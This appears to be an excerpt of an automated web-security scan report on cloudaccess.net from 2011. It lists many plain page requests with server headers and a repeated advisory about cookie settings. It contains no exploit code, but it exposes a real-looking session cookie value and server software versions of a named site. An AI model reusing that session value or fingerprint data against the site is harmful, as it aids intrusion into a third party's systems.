HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 13:52:48 GMT Server: Apache/2.2.17 (CentOS) X-Powered-By: PHP/5.2.14 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; expires=Sun, 24-Jan-2010 13:52:47 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; expires=Tue, 24-Jan-2012 13:52:48 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=deleted; expires=Tue, 24-Jan-2012 13:52:48 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; expires=Tue, 24-Jan-2012 13:52:48 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted; expires=Tue, 24-Jan-2012 13:52:48 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; expires=Tue, 24-Jan-2012 13:52:48 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; expires=Tue, 24-Jan-2012 13:52:48 GMT; path=/ Last-Modified: Sat, 22 Jan 2011 05:52:04 GMT Expires: Mon, 24 Jan 2011 14:07:48 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 27051
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > <head> <b ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /client-login.html HTTP/1.1 Host: www.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; 5a3e568434cf5e68c5f222754be27ef3=tbtnb9eq9lvbh56i28r6tshfq3; __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.1.10.1295877160; gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 13:52:45 GMT Server: Apache/2.2.17 (CentOS) X-Powered-By: PHP/5.2.14 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; expires=Sun, 24-Jan-2010 13:52:44 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; expires=Tue, 24-Jan-2012 13:52:45 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=deleted; expires=Tue, 24-Jan-2012 13:52:45 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; expires=Tue, 24-Jan-2012 13:52:45 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted; expires=Tue, 24-Jan-2012 13:52:45 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; expires=Tue, 24-Jan-2012 13:52:45 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; expires=Tue, 24-Jan-2012 13:52:45 GMT; path=/ Last-Modified: Tue, 30 Nov 2010 21:35:24 GMT Expires: Mon, 24 Jan 2011 14:07:46 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 23301
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > <head> <b ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /cloudaccess-partner-program.html HTTP/1.1 Host: www.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; 5a3e568434cf5e68c5f222754be27ef3=tbtnb9eq9lvbh56i28r6tshfq3; __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.1.10.1295877160; gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 13:52:37 GMT Server: Apache/2.2.17 (CentOS) X-Powered-By: PHP/5.2.14 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; expires=Sun, 24-Jan-2010 13:52:36 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; expires=Tue, 24-Jan-2012 13:52:37 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=deleted; expires=Tue, 24-Jan-2012 13:52:37 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; expires=Tue, 24-Jan-2012 13:52:37 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted; expires=Tue, 24-Jan-2012 13:52:37 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; expires=Tue, 24-Jan-2012 13:52:37 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; expires=Tue, 24-Jan-2012 13:52:37 GMT; path=/ Last-Modified: Tue, 21 Dec 2010 04:33:21 GMT Expires: Mon, 24 Jan 2011 14:07:37 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 34129
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > <head> <b ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /constant-contact-integration.html HTTP/1.1 Host: www.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; 5a3e568434cf5e68c5f222754be27ef3=tbtnb9eq9lvbh56i28r6tshfq3; __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.1.10.1295877160; gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 13:52:47 GMT Server: Apache/2.2.17 (CentOS) X-Powered-By: PHP/5.2.14 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; expires=Sun, 24-Jan-2010 13:52:46 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; expires=Tue, 24-Jan-2012 13:52:47 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=deleted; expires=Tue, 24-Jan-2012 13:52:47 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; expires=Tue, 24-Jan-2012 13:52:47 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted; expires=Tue, 24-Jan-2012 13:52:47 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; expires=Tue, 24-Jan-2012 13:52:47 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; expires=Tue, 24-Jan-2012 13:52:47 GMT; path=/ Last-Modified: Wed, 29 Dec 2010 22:57:38 GMT Expires: Mon, 24 Jan 2011 14:07:47 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 31111
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > <head> <b ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /contact-us.html HTTP/1.1 Host: www.cloudaccess.net Proxy-Connection: keep-alive Referer: http://www.cloudaccess.net/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 5a3e568434cf5e68c5f222754be27ef3=tbtnb9eq9lvbh56i28r6tshfq3; __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.1.10.1295877160
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 13:52:43 GMT Server: Apache/2.2.17 (CentOS) X-Powered-By: PHP/5.2.14 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; expires=Sun, 24-Jan-2010 13:52:42 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; expires=Tue, 24-Jan-2012 13:52:43 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=d532b140cef5c1b2783902e3; expires=Tue, 24-Jan-2012 13:52:43 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; expires=Tue, 24-Jan-2012 13:52:43 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted; expires=Tue, 24-Jan-2012 13:52:43 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; expires=Tue, 24-Jan-2012 13:52:43 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; expires=Tue, 24-Jan-2012 13:52:43 GMT; path=/ Last-Modified: Tue, 02 Nov 2010 20:37:37 GMT Expires: Mon, 24 Jan 2011 14:07:43 GMT X-Content-Encoded-By: Joomla! 1.5 Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 24612
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > <head> <b ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /contact-us/474.html HTTP/1.1 Host: www.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; 5a3e568434cf5e68c5f222754be27ef3=tbtnb9eq9lvbh56i28r6tshfq3; __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.1.10.1295877160; gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /copyright-policy.html HTTP/1.1 Host: www.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; 5a3e568434cf5e68c5f222754be27ef3=tbtnb9eq9lvbh56i28r6tshfq3; __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.1.10.1295877160; gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 13:52:48 GMT Server: Apache/2.2.17 (CentOS) X-Powered-By: PHP/5.2.14 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; expires=Sun, 24-Jan-2010 13:52:47 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; expires=Tue, 24-Jan-2012 13:52:48 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=deleted; expires=Tue, 24-Jan-2012 13:52:48 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; expires=Tue, 24-Jan-2012 13:52:48 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted; expires=Tue, 24-Jan-2012 13:52:48 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; expires=Tue, 24-Jan-2012 13:52:48 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; expires=Tue, 24-Jan-2012 13:52:48 GMT; path=/ Last-Modified: Wed, 30 Jun 2010 18:23:53 GMT Expires: Mon, 24 Jan 2011 14:07:48 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 29366
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > <head> <b ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /flipphoto-pro.html HTTP/1.1 Host: www.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; 5a3e568434cf5e68c5f222754be27ef3=tbtnb9eq9lvbh56i28r6tshfq3; __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.1.10.1295877160; gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 13:52:47 GMT Server: Apache/2.2.17 (CentOS) X-Powered-By: PHP/5.2.14 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; expires=Sun, 24-Jan-2010 13:52:46 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; expires=Tue, 24-Jan-2012 13:52:47 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=deleted; expires=Tue, 24-Jan-2012 13:52:47 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; expires=Tue, 24-Jan-2012 13:52:47 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted; expires=Tue, 24-Jan-2012 13:52:47 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; expires=Tue, 24-Jan-2012 13:52:47 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; expires=Tue, 24-Jan-2012 13:52:47 GMT; path=/ Last-Modified: Thu, 09 Dec 2010 05:19:43 GMT Expires: Mon, 24 Jan 2011 14:07:47 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 29813
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > <head> <b ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /forum.html HTTP/1.1 Host: www.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; 5a3e568434cf5e68c5f222754be27ef3=tbtnb9eq9lvbh56i28r6tshfq3; __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.1.10.1295877160; gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /investor-relations.html HTTP/1.1 Host: www.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; 5a3e568434cf5e68c5f222754be27ef3=tbtnb9eq9lvbh56i28r6tshfq3; __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.1.10.1295877160; gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 13:52:55 GMT Server: Apache/2.2.17 (CentOS) X-Powered-By: PHP/5.2.14 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; expires=Sun, 24-Jan-2010 13:52:54 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; expires=Tue, 24-Jan-2012 13:52:55 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=deleted; expires=Tue, 24-Jan-2012 13:52:55 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; expires=Tue, 24-Jan-2012 13:52:55 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted; expires=Tue, 24-Jan-2012 13:52:55 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; expires=Tue, 24-Jan-2012 13:52:55 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; expires=Tue, 24-Jan-2012 13:52:55 GMT; path=/ Last-Modified: Fri, 27 Aug 2010 04:46:33 GMT Expires: Mon, 24 Jan 2011 14:07:55 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 28654
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > <head> <b ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /joomla-developer-tools.html HTTP/1.1 Host: www.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; 5a3e568434cf5e68c5f222754be27ef3=tbtnb9eq9lvbh56i28r6tshfq3; __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.1.10.1295877160; gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 13:52:46 GMT Server: Apache/2.2.17 (CentOS) X-Powered-By: PHP/5.2.14 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; expires=Sun, 24-Jan-2010 13:52:46 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; expires=Tue, 24-Jan-2012 13:52:47 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=deleted; expires=Tue, 24-Jan-2012 13:52:47 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; expires=Tue, 24-Jan-2012 13:52:47 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted; expires=Tue, 24-Jan-2012 13:52:47 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; expires=Tue, 24-Jan-2012 13:52:47 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; expires=Tue, 24-Jan-2012 13:52:47 GMT; path=/ Last-Modified: Mon, 24 Jan 2011 19:42:54 GMT Expires: Mon, 24 Jan 2011 14:07:47 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 28745
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > <head> <b ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /joomla-features-tour.html HTTP/1.1 Host: www.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; 5a3e568434cf5e68c5f222754be27ef3=tbtnb9eq9lvbh56i28r6tshfq3; __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.1.10.1295877160; gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /joomla-service-and-support.html HTTP/1.1 Host: www.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; 5a3e568434cf5e68c5f222754be27ef3=tbtnb9eq9lvbh56i28r6tshfq3; __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.1.10.1295877160; gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
